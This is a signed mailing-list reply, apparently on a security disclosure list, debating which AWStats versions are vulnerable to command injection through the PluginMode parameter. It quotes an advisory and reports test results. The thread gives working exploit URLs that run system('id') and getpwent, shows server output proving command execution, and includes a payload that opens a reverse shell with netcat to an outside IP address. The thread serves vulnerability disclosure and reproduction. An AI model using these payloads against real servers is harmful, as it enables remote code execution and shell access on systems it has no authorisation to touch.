Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in 6.3?
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
im sorry i didnt write it, only awstat 6.1 and 6.2 is vulnerable to this
bug (system('id'), etc.)
Ondra
Ondra Holecek wrote:
| It seems this bug works only on my server, i dont know why
|
| /awstats.pl?&PluginMode=:print+system('id')+;
|
| reply:
|
| uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
| Error:
|
| Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
| permissions) may be wrong.
| Check config file, permissions and AWStats documentation (in 'docs'
| directory).
|
|
| awstats: Advanced Web Statistics 6.1 (build 1.751) (original)
| perl: This is perl, v5.8.5 built for i586-linux
| os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
| unknown GNU/Linux
|
| Ondra
|
|
| Jamie Pratt wrote:
| | So what are the conditions of this bug/vuln? I can't reproduce this on
| | several 6.3 installs..:
| |
| | awstats 6.3 from source:
| |
| | request:
| |
| |
|
http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+;
|
|
| |
| |
| | output:
| | ****************
| | Error: Can't locate object method "BuildFullHTMLOutput_print" via
| | package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
| | line 1.
| |
| | Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
| | permissions) may be wrong.
| | Check config file, permissions and AWStats documentation (in 'docs'
| | directory).
| | ***************
| |
| | regards,
| | jamie
| |
| | Ondra Holecek wrote:
| |
| |>
| |>
| |> GHC@xxxxxxxxxxxxxxxxxxxxx wrote:
| |> |
| |> | /*==========================================*/
| |> | // GHC -> AWStats <- ADVISORY
| |> | \\ PRODUCT: AWStats
| |> | // VERSION: <= 6.3
| |> | \\ URL: http://awstats.sourceforge.net/
| |> | // VULNERABILITY CLASS: Multiple vulnerabilities
| |> | \\ RISK: high
| |> | /*==========================================*/
| |>
| |> [...]
| |>
| |> |
| |> | PluginMode=:print+getpwent
| |> |
| |> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
| |> | This will satisfy eval() requirements., and :print getpwent() is
| |> executed.
| |> |
| |> |
| |>
|
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent
|
|
| |>
| |> |
| |> | Sanitazing limits user's input, but there is no filtration for call
| |> sympols '()'.
| |>
| |> no, user is not limited, he can execute ANY command if he add ; at the
| |> end of the command, try this
| |>
| |> awstats.pl?&PluginMode=:print+system('id')+;
| |>
| |> or even this
| |>
| |> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
| |>
| |>
| |> Ondra
| |
| |
|
|
- --
public key is available at http://www.deprese.net/gpg-public.key
# If it happens once, it's a bug.
# If it happens twice, it's a feature.
# If it happens more then twice, it's a design philosophy.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (FreeBSD)
iD8DBQFCEmhlfz/hUj18TqkRAmGeAJ40W8PpxeYSzj5eHG75ZUEzN3pwLACdE36n
lE+Fpdgw8DvGdai7VkItBZE=
=si2u
-----END PGP SIGNATURE-----